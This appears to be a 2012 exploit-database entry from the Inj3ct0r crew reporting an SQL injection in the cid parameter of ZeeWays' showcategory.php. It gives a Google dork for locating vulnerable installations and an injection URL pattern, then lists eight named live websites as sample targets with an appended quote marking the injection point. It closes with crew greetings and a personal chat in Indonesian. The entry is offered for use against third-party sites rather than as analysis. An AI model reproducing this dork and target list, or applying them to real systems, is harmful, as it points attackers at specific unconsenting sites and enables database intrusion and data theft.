ZeeWays - (showcategory.php) SQL Injection Vulnerability

2012-03-14T00:00:00
ID 1337DAY-ID-17712
Type zdt
Reporter the_cyber_nuxbie
Modified 2012-03-14T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Official Website: http://www.1337day.com                        0
1  [+] Support E-mail  : mr.inj3ct0r[at]gmail.com                      1
0                                                                      0
1                ##########################################            1
0                I'm NuxbieCyber Member From Inj3ct0r Team             1
1                ##########################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

========================================================================
|||     ZeeWays - (showcategory.php) SQL Injection Vulnerability     |||
========================================================================
                                                          
 - Discovered By:
 ||| TheCyberNuxbie - Independent Security Research |||
 <<< [email protected] >>> CP: +62856-2538-963 $ YM: nux_exploit
 Credit : Catur Febrian [ nuxbie ]
 
 - This Content Develop By ZeeWays:
 http://www.zeeways.com/
 
 - Google Dork:
 inurl:"/showcategory.php?cid="

 - Exploit Concept:
 http://lokalisasi/WebApps/showcategory.php?cid=[SQL Injection]
 
 - Sample WebApps Vuln SQLi:
http://sastimarket.com/showcategory.php?cid=76' + [SQL Injection]
http://keptright.com/showcategory.php?cid=122' + [SQL Injection]
http://magicalmysterymusicbox.com/showcategory.php?cid=82' + [SQL Injection]
http://biditsaleit.com/showcategory.php?cid=60' + [SQL Injection]
http://gbargin.com/showcategory.php?cid=333' + [SQL Injection]
http://dauctionsite.com/showcategory.php?cid=12' + [SQL Injection]
http://filelook.com/showcategory.php?cid=40' + [SQL Injection]
http://buysellcomponents.com/showcategory.php?cid=17' + [SQL Injection]
, And Many More @ Google...!!!
 
 [x] Greetz,,,
 *** 1337day Inj3ct0r TEAM ***
 ...:::' All Member & Staff Inj3ct0r TEAM ':::...
 
 - Special Thanks:
 Alloh SWT (GOD)

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 Nuxbie: mau nggak merid sama aku???
 Reynaey: Wani Piro???
 Nuxbie: Gubrak,,, :p
 Reynaey: Kamu fikir buat masa depan kamu dulu, target S1 TI dulu,,,
 Nuxbie: Iyah, kalo jodoh pasti kita dipertemukan kembali,,,
 Reynaey: Kalo kamu beneran sayang sama aku, cari aku,,,
 Nuxbie: Iyah, jaga diri di JKT yah, JKT lebih kejam dari ibu tiri :-p
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
 [ Inj3ct0r | PacketStromSecurity | Exploit-DB ]
 
 Me @ Solo Raya, 14 March 2012 @ 11:31 PM. Central Java, Indonesian.
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$



#  0day.today [2018-03-01]  #